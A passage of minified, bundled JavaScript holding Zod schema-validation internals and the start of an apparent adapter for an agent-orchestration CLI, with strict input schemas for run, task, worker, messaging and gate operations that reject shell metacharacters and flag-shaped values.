F$({typeName:S.ZodSymbol,...N($)})};class w$ extends L{_parse($){if(this._getType($)!==B.undefined){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.undefined,received:H.parsedType}),z}return v($.data)}}w$.create=($)=>{return new w$({typeName:S.ZodUndefined,...N($)})};class z$ extends L{_parse($){if(this._getType($)!==B.null){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.null,received:H.parsedType}),z}return v($.data)}}z$.create=($)=>{return new z$({typeName:S.ZodNull,...N($)})};class Q$ extends L{constructor(){super(...arguments);this._any=!0}_parse($){return v($.data)}}Q$.create=($)=>{return new Q$({typeName:S.ZodAny,...N($)})};class o extends L{constructor(){super(...arguments);this._unknown=!0}_parse($){return v($.data)}}o.create=($)=>{return new o({typeName:S.ZodUnknown,...N($)})};class u extends L{_parse($){let W=this._getOrReturnCtx($);return M(W,{code:_.invalid_type,expected:B.never,received:W.parsedType}),z}}u.create=($)=>{return new u({typeName:S.ZodNever,...N($)})};class A$ extends L{_parse($){if(this._getType($)!==B.undefined){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.void,received:H.parsedType}),z}return v($.data)}}A$.create=($)=>{return new A$({typeName:S.ZodVoid,...N($)})};class x extends L{_parse($){let{ctx:W,status:H}=this._processInputParams($),G=this._def;if(W.parsedType!==B.array)return M(W,{code:_.invalid_type,expected:B.array,received:W.parsedType}),z;if(G.exactLength!==null){let Q=W.data.length>G.exactLength.value,X=W.data.length<G.exactLength.value;if(Q||X)M(W,{code:Q?_.too_big:_.too_small,minimum:X?G.exactLength.value:void 0,maximum:Q?G.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:G.exactLength.message}),H.dirty()}if(G.minLength!==null){if(W.data.length<G.minLength.value)M(W,{code:_.too_small,minimum:G.minLength.value,type:"array",inclusive:!0,exact:!1,message:G.minLength.message}),H.dirty()}if(G.maxLength!==null){if(W.data.length>G.maxLength.value)M(W,{code:_.too_big,maximum:G.maxLength.value,type:"array",inclusive:!0,exact:!1,message:G.maxLength.message}),H.dirty()}if(W.common.async)return Promise.all([...W.data].map((Q,X)=>{return G.type._parseAsync(new m(W,Q,W.path,X))})).then((Q)=>{return C.mergeArray(H,Q)});let J=[...W.data].map((Q,X)=>{return G.type._parseSync(new m(W,Q,W.path,X))});return C.mergeArray(H,J)}get element(){return this._def.type}min($,W){return new x({...this._def,minLength:{value:$,message:w.toString(W)}})}max($,W){return new x({...this._def,maxLength:{value:$,message:w.toString(W)}})}length($,W){return new x({...this._def,exactLength:{value:$,message:w.toString(W)}})}nonempty($){return this.min(1,$)}}x.create=($,W)=>{return new x({type:$,minLength:null,maxLength:null,exactLength:null,typeName:S.ZodArray,...N(W)})};function B$($){if($ instanceof F){let W={};for(let H in $.shape){let G=$.shape[H];W[H]=y.create(B$(G))}return new F({...$._def,shape:()=>W})}else if($ instanceof x)return new x({...$._def,type:B$($.element)});else if($ instanceof y)return y.create(B$($.unwrap()));else if($ instanceof i)return i.create(B$($.unwrap()));else if($ instanceof n)return n.create($.items.map((W)=>B$(W)));else return $}class F extends L{constructor(){super(...arguments);this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let $=this._def.shape(),W=D.objectKeys($);return this._cached={shape:$,keys:W},this._cached}_parse($){if(this._getType($)!==B.object){let q=this._getOrReturnCtx($);return M(q,{code:_.invalid_type,expected:B.object,received:q.parsedType}),z}let{status:H,ctx:G}=this._processInputParams($),{shape:J,keys:Q}=this._getCached(),X=[];if(!(this._def.catchall instanceof u&&this._def.unknownKeys==="strip")){for(let q in G.data)if(!Q.includes(q))X.push(q)}let Y=[];for(let q of Q){let j=J[q],V=G.data[q];Y.push({key:{status:"valid",value:q},value:j._parse(new m(G,V,G.path,q)),alwaysSet:q in G.data})}if(this._def.catchall instanceof u){let q=this._def.unknownKeys;if(q==="passthrough")for(let j of X)Y.push({key:{status:"valid",value:j},value:{status:"valid",value:G.data[j]}});else if(q==="strict"){if(X.length>0)M(G,{code:_.unrecognized_keys,keys:X}),H.dirty()}else if(q==="strip");else throw Error("Internal ZodObject error: invalid unknownKeys value.")}else{let q=this._def.catchall;for(let j of X){let V=G.data[j];Y.push({key:{status:"valid",value:j},value:q._parse(new m(G,V,G.path,j)),alwaysSet:j in G.data})}}if(G.common.async)return Promise.resolve().then(async()=>{let q=[];for(let j of Y){let V=await j.key,g=await j.value;q.push({key:V,value:g,alwaysSet:j.alwaysSet})}return q}).then((q)=>{return C.mergeObjectSync(H,q)});else return C.mergeObjectSync(H,Y)}get shape(){return this._def.shape()}strict($){return w.errToObj,new F({...this._def,unknownKeys:"strict",...$!==void 0?{errorMap:(W,H)=>{let G=this._def.errorMap?.(W,H).message??H.defaultError;if(W.code==="unrecognized_keys")return{message:w.errToObj($).message??G};return{message:G}}}:{}})}strip(){return new F({...this._def,unknownKeys:"strip"})}passthrough(){return new F({...this._def,unknownKeys:"passthrough"})}extend($){return new F({...this._def,shape:()=>({...this._def.shape(),...$})})}merge($){return new F({unknownKeys:$._def.unknownKeys,catchall:$._def.catchall,shape:()=>({...this._def.shape(),...$._def.shape()}),typeName:S.ZodObject})}setKey($,W){return this.augment({[$]:W})}catchall($){return new F({...this._def,catchall:$})}pick($){let W={};for(let H of D.objectKeys($))if($[H]&&this.shape[H])W[H]=this.shape[H];return new F({...this._def,shape:()=>W})}omit($){let W={};for(let H of D.objectKeys(this.shape))if(!$[H])W[H]=this.shape[H];return new F({...this._def,shape:()=>W})}deepPartial(){return B$(this)}partial($){let W={};for(let H of D.objectKeys(this.shape)){let G=this.shape[H];if($&&!$[H])W[H]=G;else W[H]=G.optional()}return new F({...this._def,shape:()=>W})}required($){let W={};for(let H of D.objectKeys(this.shape))if($&&!$[H])W[H]=this.shape[H];else{let J=this.shape[H];while(J instanceof y)J=J._def.innerType;W[H]=J}return new F({...this._def,shape:()=>W})}keyof(){return QW(D.objectKeys(this.shape))}}F.create=($,W)=>{return new F({shape:()=>$,unknownKeys:"strip",catchall:u.create(),typeName:S.ZodObject,...N(W)})};F.strictCreate=($,W)=>{return new F({shape:()=>$,unknownKeys:"strict",catchall:u.create(),typeName:S.ZodObject,...N(W)})};F.lazycreate=($,W)=>{return new F({shape:$,unknownKeys:"strip",catchall:u.create(),typeName:S.ZodObject,...N(W)})};class S$ extends L{_parse($){let{ctx:W}=this._processInputParams($),H=this._def.options;function G(J){for(let X of J)if(X.result.status==="valid")return X.result;for(let X of J)if(X.result.status==="dirty")return W.common.issues.push(...X.ctx.common.issues),X.result;let Q=J.map((X)=>new I(X.ctx.common.issues));return M(W,{code:_.invalid_union,unionErrors:Q}),z}if(W.common.async)return Promise.all(H.map(async(J)=>{let Q={...W,common:{...W.common,issues:[]},parent:null};return{result:await J._parseAsync({data:W.data,path:W.path,parent:Q}),ctx:Q}})).then(G);else{let J=void 0,Q=[];for(let Y of H){let q={...W,common:{...W.common,issues:[]},parent:null},j=Y._parseSync({data:W.data,path:W.path,parent:q});if(j.status==="valid")return j;else if(j.status==="dirty"&&!J)J={result:j,ctx:q};if(q.common.issues.length)Q.push(q.common.issues)}if(J)return W.common.issues.push(...J.ctx.common.issues),J.result;let X=Q.map((Y)=>new I(Y));return M(W,{code:_.invalid_union,unionErrors:X}),z}}get options(){return this._def.options}}S$.create=($,W)=>{return new S$({options:$,typeName:S.ZodUnion,...N(W)})};var p=($)=>{if($ instanceof R$)return p($.schema);else if($ instanceof Z)return p($.innerType());else if($ instanceof N$)return[$.value];else if($ instanceof e)return $.options;else if($ instanceof L$)return D.objectValues($.enum);else if($ instanceof D$)return p($._def.innerType);else if($ instanceof w$)return[void 0];else if($ instanceof z$)return[null];else if($ instanceof y)return[void 0,...p($.unwrap())];else if($ instanceof i)return[null,...p($.unwrap())];else if($ instanceof g$)return p($.unwrap());else if($ instanceof K$)return p($.unwrap());else if($ instanceof V$)return p($._def.innerType);else return[]};class h$ extends L{_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==B.object)return M(W,{code:_.invalid_type,expected:B.object,received:W.parsedType}),z;let H=this.discriminator,G=W.data[H],J=this.optionsMap.get(G);if(!J)return M(W,{code:_.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[H]}),z;if(W.common.async)return J._parseAsync({data:W.data,path:W.path,parent:W});else return J._parseSync({data:W.data,path:W.path,parent:W})}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create($,W,H){let G=new Map;for(let J of W){let Q=p(J.shape[$]);if(!Q.length)throw Error(`A discriminator value for key \`${$}\` could not be extracted from all schema options`);for(let X of Q){if(G.has(X))throw Error(`Discriminator property ${String($)} has duplicate value ${String(X)}`);G.set(X,J)}}return new h$({typeName:S.ZodDiscriminatedUnion,discriminator:$,options:W,optionsMap:G,...N(H)})}}function u$($,W){let H=c($),G=c(W);if($===W)return{valid:!0,data:$};else if(H===B.object&&G===B.object){let J=D.objectKeys(W),Q=D.objectKeys($).filter((Y)=>J.indexOf(Y)!==-1),X={...$,...W};for(let Y of Q){let q=u$($[Y],W[Y]);if(!q.valid)return{valid:!1};X[Y]=q.data}return{valid:!0,data:X}}else if(H===B.array&&G===B.array){if($.length!==W.length)return{valid:!1};let J=[];for(let Q=0;Q<$.length;Q++){let X=$[Q],Y=W[Q],q=u$(X,Y);if(!q.valid)return{valid:!1};J.push(q.data)}return{valid:!0,data:J}}else if(H===B.date&&G===B.date&&+$===+W)return{valid:!0,data:$};else return{valid:!1}}class U$ extends L{_parse($){let{status:W,ctx:H}=this._processInputParams($),G=(J,Q)=>{if(P$(J)||P$(Q))return z;let X=u$(J.value,Q.value);if(!X.valid)return M(H,{code:_.invalid_intersection_types}),z;if(k$(J)||k$(Q))W.dirty();return{status:W.value,value:X.data}};if(H.common.async)return Promise.all([this._def.left._parseAsync({data:H.data,path:H.path,parent:H}),this._def.right._parseAsync({data:H.data,path:H.path,parent:H})]).then(([J,Q])=>G(J,Q));else return G(this._def.left._parseSync({data:H.data,path:H.path,parent:H}),this._def.right._parseSync({data:H.data,path:H.path,parent:H}))}}U$.create=($,W,H)=>{return new U$({left:$,right:W,typeName:S.ZodIntersection,...N(H)})};class n extends L{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==B.array)return M(H,{code:_.invalid_type,expected:B.array,received:H.parsedType}),z;if(H.data.length<this._def.items.length)return M(H,{code:_.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),z;if(!this._def.rest&&H.data.length>this._def.items.length)M(H,{code:_.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),W.dirty();let J=[...H.data].map((Q,X)=>{let Y=this._def.items[X]||this._def.rest;if(!Y)return null;return Y._parse(new m(H,Q,H.path,X))}).filter((Q)=>!!Q);if(H.common.async)return Promise.all(J).then((Q)=>{return C.mergeArray(W,Q)});else return C.mergeArray(W,J)}get items(){return this._def.items}rest($){return new n({...this._def,rest:$})}}n.create=($,W)=>{if(!Array.isArray($))throw Error("You must pass an array of schemas to z.tuple([ ... ])");return new n({items:$,typeName:S.ZodTuple,rest:null,...N(W)})};class O$ extends L{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==B.object)return M(H,{code:_.invalid_type,expected:B.object,received:H.parsedType}),z;let G=[],J=this._def.keyType,Q=this._def.valueType;for(let X in H.data)G.push({key:J._parse(new m(H,X,H.path,X)),value:Q._parse(new m(H,H.data[X],H.path,X)),alwaysSet:X in H.data});if(H.common.async)return C.mergeObjectAsync(W,G);else return C.mergeObjectSync(W,G)}get element(){return this._def.valueType}static create($,W,H){if(W instanceof L)return new O$({keyType:$,valueType:W,typeName:S.ZodRecord,...N(H)});return new O$({keyType:T.create(),valueType:$,typeName:S.ZodRecord,...N(W)})}}class f$ extends L{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==B.map)return M(H,{code:_.invalid_type,expected:B.map,received:H.parsedType}),z;let G=this._def.keyType,J=this._def.valueType,Q=[...H.data.entries()].map(([X,Y],q)=>{return{key:G._parse(new m(H,X,H.path,[q,"key"])),value:J._parse(new m(H,Y,H.path,[q,"value"]))}});if(H.common.async){let X=new Map;return Promise.resolve().then(async()=>{for(let Y of Q){let q=await Y.key,j=await Y.value;if(q.status==="aborted"||j.status==="aborted")return z;if(q.status==="dirty"||j.status==="dirty")W.dirty();X.set(q.value,j.value)}return{status:W.value,value:X}})}else{let X=new Map;for(let Y of Q){let{key:q,value:j}=Y;if(q.status==="aborted"||j.status==="aborted")return z;if(q.status==="dirty"||j.status==="dirty")W.dirty();X.set(q.value,j.value)}return{status:W.value,value:X}}}}f$.create=($,W,H)=>{return new f$({valueType:W,keyType:$,typeName:S.ZodMap,...N(H)})};class X$ extends L{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==B.set)return M(H,{code:_.invalid_type,expected:B.set,received:H.parsedType}),z;let G=this._def;if(G.minSize!==null){if(H.data.size<G.minSize.value)M(H,{code:_.too_small,minimum:G.minSize.value,type:"set",inclusive:!0,exact:!1,message:G.minSize.message}),W.dirty()}if(G.maxSize!==null){if(H.data.size>G.maxSize.value)M(H,{code:_.too_big,maximum:G.maxSize.value,type:"set",inclusive:!0,exact:!1,message:G.maxSize.message}),W.dirty()}let J=this._def.valueType;function Q(Y){let q=new Set;for(let j of Y){if(j.status==="aborted")return z;if(j.status==="dirty")W.dirty();q.add(j.value)}return{status:W.value,value:q}}let X=[...H.data.values()].map((Y,q)=>J._parse(new m(H,Y,H.path,q)));if(H.common.async)return Promise.all(X).then((Y)=>Q(Y));else return Q(X)}min($,W){return new X$({...this._def,minSize:{value:$,message:w.toString(W)}})}max($,W){return new X$({...this._def,maxSize:{value:$,message:w.toString(W)}})}size($,W){return this.min($,W).max($,W)}nonempty($){return this.min(1,$)}}X$.create=($,W)=>{return new X$({valueType:$,minSize:null,maxSize:null,typeName:S.ZodSet,...N(W)})};class M$ extends L{constructor(){super(...arguments);this.validate=this.implement}_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==B.function)return M(W,{code:_.invalid_type,expected:B.function,received:W.parsedType}),z;function H(X,Y){return b$({data:X,path:W.path,errorMaps:[W.common.contextualErrorMap,W.schemaErrorMap,q$(),d].filter((q)=>!!q),issueData:{code:_.invalid_arguments,argumentsError:Y}})}function G(X,Y){return b$({data:X,path:W.path,errorMaps:[W.common.contextualErrorMap,W.schemaErrorMap,q$(),d].filter((q)=>!!q),issueData:{code:_.invalid_return_type,returnTypeError:Y}})}let J={errorMap:W.common.contextualErrorMap},Q=W.data;if(this._def.returns instanceof Y$){let X=this;return v(async function(...Y){let q=new I([]),j=await X._def.args.parseAsync(Y,J).catch((P)=>{throw q.addIssue(H(Y,P)),q}),V=await Reflect.apply(Q,this,j);return await X._def.returns._def.type.parseAsync(V,J).catch((P)=>{throw q.addIssue(G(V,P)),q})})}else{let X=this;return v(function(...Y){let q=X._def.args.safeParse(Y,J);if(!q.success)throw new I([H(Y,q.error)]);let j=Reflect.apply(Q,this,q.data),V=X._def.returns.safeParse(j,J);if(!V.success)throw new I([G(j,V.error)]);return V.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...$){return new M$({...this._def,args:n.create($).rest(o.create())})}returns($){return new M$({...this._def,returns:$})}implement($){return this.parse($)}strictImplement($){return this.parse($)}static create($,W,H){return new M$({args:$?$:n.create([]).rest(o.create()),returns:W||o.create(),typeName:S.ZodFunction,...N(H)})}}class R$ extends L{get schema(){return this._def.getter()}_parse($){let{ctx:W}=this._processInputParams($);return this._def.getter()._parse({data:W.data,path:W.path,parent:W})}}R$.create=($,W)=>{return new R$({getter:$,typeName:S.ZodLazy,...N(W)})};class N$ extends L{_parse($){if($.data!==this._def.value){let W=this._getOrReturnCtx($);return M(W,{received:W.data,code:_.invalid_literal,expected:this._def.value}),z}return{status:"valid",value:$.data}}get value(){return this._def.value}}N$.create=($,W)=>{return new N$({value:$,typeName:S.ZodLiteral,...N(W)})};function QW($,W){return new e({values:$,typeName:S.ZodEnum,...N(W)})}class e extends L{_parse($){if(typeof $.data!=="string"){let W=this._getOrReturnCtx($),H=this._def.values;return M(W,{expected:D.joinValues(H),received:W.parsedType,code:_.invalid_type}),z}if(!this._cache)this._cache=new Set(this._def.values);if(!this._cache.has($.data)){let W=this._getOrReturnCtx($),H=this._def.values;return M(W,{received:W.data,code:_.invalid_enum_value,options:H}),z}return v($.data)}get options(){return this._def.values}get enum(){let $={};for(let W of this._def.values)$[W]=W;return $}get Values(){let $={};for(let W of this._def.values)$[W]=W;return $}get Enum(){let $={};for(let W of this._def.values)$[W]=W;return $}extract($,W=this._def){return e.create($,{...this._def,...W})}exclude($,W=this._def){return e.create(this.options.filter((H)=>!$.includes(H)),{...this._def,...W})}}e.create=QW;class L$ extends L{_parse($){let W=D.getValidEnumValues(this._def.values),H=this._getOrReturnCtx($);if(H.parsedType!==B.string&&H.parsedType!==B.number){let G=D.objectValues(W);return M(H,{expected:D.joinValues(G),received:H.parsedType,code:_.invalid_type}),z}if(!this._cache)this._cache=new Set(D.getValidEnumValues(this._def.values));if(!this._cache.has($.data)){let G=D.objectValues(W);return M(H,{received:H.data,code:_.invalid_enum_value,options:G}),z}return v($.data)}get enum(){return this._def.values}}L$.create=($,W)=>{return new L$({values:$,typeName:S.ZodNativeEnum,...N(W)})};class Y$ extends L{unwrap(){return this._def.type}_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==B.promise&&W.common.async===!1)return M(W,{code:_.invalid_type,expected:B.promise,received:W.parsedType}),z;let H=W.parsedType===B.promise?W.data:Promise.resolve(W.data);return v(H.then((G)=>{return this._def.type.parseAsync(G,{path:W.path,errorMap:W.common.contextualErrorMap})}))}}Y$.create=($,W)=>{return new Y$({type:$,typeName:S.ZodPromise,...N(W)})};class Z extends L{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===S.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse($){let{status:W,ctx:H}=this._processInputParams($),G=this._def.effect||null,J={addIssue:(Q)=>{if(M(H,Q),Q.fatal)W.abort();else W.dirty()},get path(){return H.path}};if(J.addIssue=J.addIssue.bind(J),G.type==="preprocess"){let Q=G.transform(H.data,J);if(H.common.async)return Promise.resolve(Q).then(async(X)=>{if(W.value==="aborted")return z;let Y=await this._def.schema._parseAsync({data:X,path:H.path,parent:H});if(Y.status==="aborted")return z;if(Y.status==="dirty")return J$(Y.value);if(W.value==="dirty")return J$(Y.value);return Y});else{if(W.value==="aborted")return z;let X=this._def.schema._parseSync({data:Q,path:H.path,parent:H});if(X.status==="aborted")return z;if(X.status==="dirty")return J$(X.value);if(W.value==="dirty")return J$(X.value);return X}}if(G.type==="refinement"){let Q=(X)=>{let Y=G.refinement(X,J);if(H.common.async)return Promise.resolve(Y);if(Y instanceof Promise)throw Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return X};if(H.common.async===!1){let X=this._def.schema._parseSync({data:H.data,path:H.path,parent:H});if(X.status==="aborted")return z;if(X.status==="dirty")W.dirty();return Q(X.value),{status:W.value,value:X.value}}else return this._def.schema._parseAsync({data:H.data,path:H.path,parent:H}).then((X)=>{if(X.status==="aborted")return z;if(X.status==="dirty")W.dirty();return Q(X.value).then(()=>{return{status:W.value,value:X.value}})})}if(G.type==="transform")if(H.common.async===!1){let Q=this._def.schema._parseSync({data:H.data,path:H.path,parent:H});if(!r(Q))return z;let X=G.transform(Q.value,J);if(X instanceof Promise)throw Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:W.value,value:X}}else return this._def.schema._parseAsync({data:H.data,path:H.path,parent:H}).then((Q)=>{if(!r(Q))return z;return Promise.resolve(G.transform(Q.value,J)).then((X)=>({status:W.value,value:X}))});D.assertNever(G)}}Z.create=($,W,H)=>{return new Z({schema:$,typeName:S.ZodEffects,effect:W,...N(H)})};Z.createWithPreprocess=($,W,H)=>{return new Z({schema:W,effect:{type:"preprocess",transform:$},typeName:S.ZodEffects,...N(H)})};class y extends L{_parse($){if(this._getType($)===B.undefined)return v(void 0);return this._def.innerType._parse($)}unwrap(){return this._def.innerType}}y.create=($,W)=>{return new y({innerType:$,typeName:S.ZodOptional,...N(W)})};class i extends L{_parse($){if(this._getType($)===B.null)return v(null);return this._def.innerType._parse($)}unwrap(){return this._def.innerType}}i.create=($,W)=>{return new i({innerType:$,typeName:S.ZodNullable,...N(W)})};class D$ extends L{_parse($){let{ctx:W}=this._processInputParams($),H=W.data;if(W.parsedType===B.undefined)H=this._def.defaultValue();return this._def.innerType._parse({data:H,path:W.path,parent:W})}removeDefault(){return this._def.innerType}}D$.create=($,W)=>{return new D$({innerType:$,typeName:S.ZodDefault,defaultValue:typeof W.default==="function"?W.default:()=>W.default,...N(W)})};class V$ extends L{_parse($){let{ctx:W}=this._processInputParams($),H={...W,common:{...W.common,issues:[]}},G=this._def.innerType._parse({data:H.data,path:H.path,parent:{...H}});if(_$(G))return G.then((J)=>{return{status:"valid",value:J.status==="valid"?J.value:this._def.catchValue({get error(){return new I(H.common.issues)},input:H.data})}});else return{status:"valid",value:G.status==="valid"?G.value:this._def.catchValue({get error(){return new I(H.common.issues)},input:H.data})}}removeCatch(){return this._def.innerType}}V$.create=($,W)=>{return new V$({innerType:$,typeName:S.ZodCatch,catchValue:typeof W.catch==="function"?W.catch:()=>W.catch,...N(W)})};class C$ extends L{_parse($){if(this._getType($)!==B.nan){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.nan,received:H.parsedType}),z}return{status:"valid",value:$.data}}}C$.create=($)=>{return new C$({typeName:S.ZodNaN,...N($)})};var J3=Symbol("zod_brand");class g$ extends L{_parse($){let{ctx:W}=this._processInputParams($),H=W.data;return this._def.type._parse({data:H,path:W.path,parent:W})}unwrap(){return this._def.type}}class v$ extends L{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.common.async)return(async()=>{let J=await this._def.in._parseAsync({data:H.data,path:H.path,parent:H});if(J.status==="aborted")return z;if(J.status==="dirty")return W.dirty(),J$(J.value);else return this._def.out._parseAsync({data:J.value,path:H.path,parent:H})})();else{let G=this._def.in._parseSync({data:H.data,path:H.path,parent:H});if(G.status==="aborted")return z;if(G.status==="dirty")return W.dirty(),{status:"dirty",value:G.value};else return this._def.out._parseSync({data:G.value,path:H.path,parent:H})}}static create($,W){return new v$({in:$,out:W,typeName:S.ZodPipeline})}}class K$ extends L{_parse($){let W=this._def.innerType._parse($),H=(G)=>{if(r(G))G.value=Object.freeze(G.value);return G};return _$(W)?W.then((G)=>H(G)):H(W)}unwrap(){return this._def.innerType}}K$.create=($,W)=>{return new K$({innerType:$,typeName:S.ZodReadonly,...N(W)})};function WW($,W){let H=typeof $==="function"?$(W):typeof $==="string"?{message:$}:$;return typeof H==="string"?{message:H}:H}function XW($,W={},H){if($)return Q$.create().superRefine((G,J)=>{let Q=$(G);if(Q instanceof Promise)return Q.then((X)=>{if(!X){let Y=WW(W,G),q=Y.fatal??H??!0;J.addIssue({code:"custom",...Y,fatal:q})}});if(!Q){let X=WW(W,G),Y=X.fatal??H??!0;J.addIssue({code:"custom",...X,fatal:Y})}return});return Q$.create()}var G3={object:F.lazycreate},S;(function($){$.ZodString="ZodString",$.ZodNumber="ZodNumber",$.ZodNaN="ZodNaN",$.ZodBigInt="ZodBigInt",$.ZodBoolean="ZodBoolean",$.ZodDate="ZodDate",$.ZodSymbol="ZodSymbol",$.ZodUndefined="ZodUndefined",$.ZodNull="ZodNull",$.ZodAny="ZodAny",$.ZodUnknown="ZodUnknown",$.ZodNever="ZodNever",$.ZodVoid="ZodVoid",$.ZodArray="ZodArray",$.ZodObject="ZodObject",$.ZodUnion="ZodUnion",$.ZodDiscriminatedUnion="ZodDiscriminatedUnion",$.ZodIntersection="ZodIntersection",$.ZodTuple="ZodTuple",$.ZodRecord="ZodRecord",$.ZodMap="ZodMap",$.ZodSet="ZodSet",$.ZodFunction="ZodFunction",$.ZodLazy="ZodLazy",$.ZodLiteral="ZodLiteral",$.ZodEnum="ZodEnum",$.ZodEffects="ZodEffects",$.ZodNativeEnum="ZodNativeEnum",$.ZodOptional="ZodOptional",$.ZodNullable="ZodNullable",$.ZodDefault="ZodDefault",$.ZodCatch="ZodCatch",$.ZodPromise="ZodPromise",$.ZodBranded="ZodBranded",$.ZodPipeline="ZodPipeline",$.ZodReadonly="ZodReadonly"})(S||(S={}));var Q3=($,W={message:`Input not instance of ${$.name}`})=>XW((H)=>H instanceof $,W),YW=T.create,qW=a.create,X3=C$.create,Y3=t.create,_W=j$.create,q3=G$.create,_3=F$.create,B3=w$.create,M3=z$.create,j3=Q$.create,w3=o.create,z3=u.create,S3=A$.create,U3=x.create,R3=F.create,N3=F.strictCreate,L3=S$.create,D3=h$.create,V3=U$.create,K3=n.create,E3=O$.create,b3=f$.create,F3=X$.create,A3=M$.create,O3=R$.create,f3=N$.create,C3=e.create,v3=L$.create,I3=Y$.create,P3=Z.create,k3=y.create,h3=i.create,g3=Z.createWithPreprocess,T3=v$.create,x3=()=>YW().optional(),y3=()=>qW().optional(),m3=()=>_W().optional(),Z3={string:($)=>T.create({...$,coerce:!0}),number:($)=>a.create({...$,coerce:!0}),boolean:($)=>j$.create({...$,coerce:!0}),bigint:($)=>t.create({...$,coerce:!0}),date:($)=>G$.create({...$,coerce:!0})};var l3=z;var u3=["run-create","run-list","run-show","run-current","run-use","task-create","task-list","task-update","worker-start","worker-show","worker-read","worker-release","send","check","reply","ask","gate-create","gate-list","gate-resolve"];class A extends Error{code;operation;phase;retrySafety;recovery;stderr;name="OrcaAdapterError";constructor($,W,H,G,J,Q,X){super(Q);this.code=$;this.operation=W;this.phase=H;this.retrySafety=G;this.recovery=J;this.stderr=X}}var R=U.string().regex(/^[A-Za-z][A-Za-z0-9_-]{0,127}$/),o$=($)=>U.string().refine((W)=>W===W.normalize("NFC"),"must be NFC-normalized").refine((W)=>!W.includes("\x00")&&!/[\uD800-\uDFFF]/u.test(W),"contains an invalid code point").refine((W)=>Buffer.byteLength(W,"utf8")>=1&&Buffer.byteLength(W,"utf8")<=$),l=o$(16384),s=o$(512),W$=o$(256),I$=U.string().min(1).max(512).regex(/^[\x21-\x7E]+$/).refine(($)=>!$.startsWith("-")&&!/[;&|`$<>\\(){}\[\]*?!'\"]/.test($)),zW=I$.refine(($)=>Buffer.byteLength($,"utf8")<=128),BW=U.number().int().min(1).max(100),n$=U.number().int().min(250).max(600000),p$=U.enum(["pending","ready","dispatched","completed","failed","blocked"]),SW=U.enum(["pending","resolved"]),T$=U.enum(["status","dispatch","worker_done","merge_ready","escalation","handoff","question","decision_gate","heartbeat"]),n3=U.enum(["low","normal","high","urgent"]),UW=U.enum(["auto","transcript","terminal"]),RW=U.enum(["claude","codex","cursor","droid","gemini","grok","opencode"]),NW=U.enum(["low","medium","high","xhigh"]),$$=($,W,H=0)=>U.array($).min(H).max(W).refine((G)=>new Set(G).size===G.length,"items must be unique"),LW=U.object({summary:l,artifacts:$$(W$,32).optional()}).strict().refine(($)=>Buffer.byteLength(JSON.stringify($))<=32768),d3=U.object({taskId:R.optional(),dispatchId:R.optional(),phase:W$.optional(),outcome:U.enum(["succeeded","failed"]).optional(),filesModified:$$(W$,128).optional(),reportPath:W$.optional()}).strict().refine(($)=>Object.keys($).length>0,"payload must not be empty").refine(($)=>Buffer.byteLength(JSON.stringify($))<=32768),f=($,W)=>U.object({operation:U.literal($),...W}).strict(),DW=U.union([f("run-create",{objective:l}),f("run-list",{limit:BW.optional(),cursor:I$.optional()}),f("run-show",{id:R}),f("run-current",{}),f("run-use",{id:R}),f("task-create",{spec:l,title:s.optional(),deps:$$(R,64).optional(),parent:R.optional()}),f("task-list",{status:p$.optional(),ready:U.boolean().optional(),brief:U.boolean().optional()}),f("task-update",{id:R,status:p$,result:LW.optional()}),f("worker-start",{task:R,agent:RW,model:zW.optional(),effort:NW.optional(),timeoutMs:n$.optional()}).refine(($)=>$.effort===void 0||$.model!==void 0,{message:"effort requires model"}),f("worker-show",{dispatch:R}),f("worker-read",{dispatch:R,source:UW.optional(),cursor:I$.optional(),limit:BW.optional()}),f("worker-release",{dispatch:R}),f("send",{subject:s,body:l.optional(),type:T$.optional(),priority:n3.optional(),threadId:R.optional(),payload:d3.optional()}),f("check",{ack:R.optional(),unread:U.boolean().optional(),peek:U.boolean().optional(),all:U.boolean().optional(),types:$$(T$,T$.options.length,1).optional(),wait:U.boolean().optional(),timeoutMs:n$.optional()}).refine(($)=>[$.unread,$.peek,$.all].filter((W)=>W===!0).length<=1,{message:"unread, peek, and all are mutually exclusive"}).refine(($)=>$.timeoutMs===void 0||$.wait===!0,{message:"timeoutMs requires wait"}),f("reply",{id:R,body:l}),f("ask",{question:s.optional(),resume:R.optional(),options:$$(W$,10,1).optional(),timeoutMs:n$.optional()}).refine(($)=>$.question===void 0!==($.resume===void 0),{message:"exactly one of question or resume is required"}).refine(($)=>$.options===void 0||$.question!==void 0,{message:"options require question"}).refine(($)=>$.options?.every((W)=>!/[,\r\n]/.test(W))??!0,{message:"ask options cannot contain comma, CR, or LF"}),f("gate-create",{task:R,question:s,options:$$(W$,10,1).optional()}),f("gate-list",{task:R.optional(),status:SW.optional()}),f("gate-resolve",{id:R,resolution:l,task:R})]);function K($,W){if(W.length>0&&W[0]==="-")throw new A("invalid_argument","runtime","validate","safe","Correct the rejected semantic value and retry.",`${$} has a flag-shaped value`);return[$,W]}function O($,W){return W===void 0?[]:K($,String(W))}function E$($,W){return 